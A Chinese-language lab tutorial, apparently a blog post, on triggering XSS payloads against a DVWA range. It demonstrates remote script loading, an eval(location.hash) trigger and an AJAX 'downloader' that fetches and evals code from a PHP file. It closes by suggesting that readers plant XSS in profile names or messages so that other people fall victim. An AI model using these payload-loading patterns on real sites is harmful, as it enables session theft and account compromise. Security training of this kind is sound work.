【XSS漏洞-04】如何调用XSS漏洞的shellcode


在上两节中我们了解了XSS漏洞验证、语句构造与绕过的方法,而 完整的XSS攻击会将shellcode(shellcode就是利用漏洞所执行的代码)存放在一个地方,然后在存在XSS漏洞的地方触发漏洞去调用代码。

1 实验简介

1.1 实验目的

模拟利用XSS漏洞执行shellcode的几种方法。

1.2 实验环境

本实验均在虚拟机中进行,桥接到同一局域网中。
服务器:——虚拟机(IP为172.16.1.1):本节实验靶场是在win2008系统上基于phpstudy搭建的一个DVWA漏洞靶场,win2008及phpstudy的安装过程可以参考《【语言环境】WAMP环境部署及优化—以win2008R2SP1为操作系统》,DVWA漏洞靶场的搭建可以参考《【环境搭建-02】基于WAMP环境的DVWA漏洞靶场的搭建》。

靶机:winxp,IP地址为172.16.1.5。输入网址http://172.16.1.1/DVWA/login.php访问dvwa页面,并输入账号admin,密码password进行登录。设置security级别为low,在反射型XSS页面测试以下方法。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

2 shellcode的调用实验

shellcode就是利用漏洞所执行的代码。完整的XSS攻击会将shellcode存放在一个地方,然后在存在XSS漏洞的地方触发漏洞去调用代码。

2.1 远程调用JS

简介:可以将JS代码单独存放在一个JS文件中,然后通过http协议远程加载该脚本。具体过程如下:
(1)在win2008虚拟机中,开启phpstudy。
在这里插入图片描述
(2)在win2008虚拟机中的网站根目录下,新建文件夹xss-tset,并在其中新建文件命名为xss.js,输入内容为alert(‘xss1.js’),保存文件。
在这里插入图片描述
(3)在winxp的dvwa页面的输入框中输入<script src="http://172.16.1.1/xss-test/xss.js"></script>,点击submit后弹出窗口,说明xss1.js代码已被执行。
在这里插入图片描述

2.2 利用Windows.location.hash触发JS

可以使用JS中的Windows.location.hash方法获取浏览器URL地址栏的XSS代码,也就是说触发时代码存在URL中。其中,Windows.location.hash用于获取URL中#后面的内容,包括#号。

(1)在winxp中,进入DVWA靶场的反射型XSS页面。
在这里插入图片描述
(2)构造以下参数传入URL中。?name=<script>eval(location.hash.substr(1))</script>#alert('This is window.location.hash'),回车可以看到触发弹窗并执行代码。
在这里插入图片描述

2.3 利用XSS下载器

XSS下载器简介XSS下载器就是将XSS代码写到网页中,然后通过AJAX技术,取得网页中的XSS代码。

AJAX技术简介:不是新的编程语言,而是一个技术,旨在实现下面几个功能,详细请点击《AJAX 简介》查看。

  • 不刷新页面更新网页
  • 在页面加载后从服务器请求数据
  • 在页面加载后从服务器接收数据
  • 在后台向服务器发送数据

利用XSS下载器调用shellcode的具体步骤如下:
(1)首先,在win2008网站根目录下的xss-tset文件夹下新建文件并命名为xss.php,写入以下内容。由于AJAX技术会受到浏览器同源策略(存放php代码所在网页与含漏洞的网页同域名,即没办法在读取a域名下的网页内容放到b域名下的网页去运行)的限制,为解决这个问题,我们需要在服务器端代码中添加header开头的两句话(实现跨域访问)。

<?php
header('Access-Contro-Allow-Origin:*');
header('Access-Contro-Allow-Headers:Origin, X-Requested-With, Content-type,Accept');
?>
~~~BOF|alert(/AJAX/)|EOF~~~

(2)在可能含xss的漏洞页面输入框内输入以下代码回车。注意,输入框类型最好是文本域(一个多行的文本输入控件),才能容纳以下这么多的文本。暂时没找到相关的漏洞测试页面,此处不做具体测试。

<script>
function XSS(){
	if (window.XMLHttpRequest){
		a = new XMLHttpRequest();
	}else if (window.ActiveXObjest){
		a = new ActiveXObjest("Microsoft.XMLHTTP");
	}else {return;}
	a.open('get','http://172.16.1.1/xss-test/xss.php',false);
	a.send();
	b=a.responseText;
	eval(unescape(b.substring(b.indexOf('BOF|')+4,b.indexOf('|EOF'))));	
}
XSS();
</script>

解析代码:

  • window.XMLHttpRequest:判断浏览器是否是ie系列的浏览器
  • a.open(‘get’,‘http://192.168.1.7/xss3.php’,false):通过get方式去打开;
  • a.send():去发送http请求
  • b=a.responseText;将它的相应赋值给b
  • b.substring(b.indexOf(‘BOF|’)+4,b.indexOf(‘|EOF’)):是为了截取alert(/AJAX/)
  • unescape():是为了解码,因为在url中部分字符会转换为url编码,因此需要进行解码

2.4 备选存储技术

shellcode还可以存储在客户端的本地域中,比如HTTP Cookie、Flash 共享对象、UserData、localStorage等。
在实际生活中,如何让别人中招呢?可以把自己的名字或留言设置为xss代码,若别人打开我们的主页或查看我们的留言,就会中招。

  • 1
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值